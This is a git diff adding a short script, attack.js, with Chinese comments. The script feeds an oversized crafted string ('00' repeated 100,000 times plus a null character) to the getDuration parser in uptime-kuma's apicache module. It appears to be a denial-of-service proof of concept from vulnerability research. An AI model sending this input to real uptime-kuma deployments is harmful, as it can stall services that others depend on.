diff --git a/attack.js b/attack.js
new file mode 100644
index 000000000..b13854dc7
--- /dev/null
+++ b/attack.js
@@ -0,0 +1,20 @@
+
+const apicacheModule = require("./uptime-kuma-92e982a91004e8f519e21ee6a0e4d4d21ecae99c/uptime-kuma-92e982a91004e8f519e21ee6a0e4d4d21ecae99c/server/modules/apicache/apicache.js");
+
+// 手动提取 parseDuration 函数
+const getDuration = apicacheModule.getDuration;
+
+// ""+"00".repeat(100000)+"\u0000"
+
+// 构造字符串
+const str = "" + "00".repeat(100000) + "\u0000";
+
+try {
+    // 调用 parseDuration 函数
+    let result = getDuration(str);
+    console.log(result);
+} catch (error) {
+    console.error(error);
+}
+
+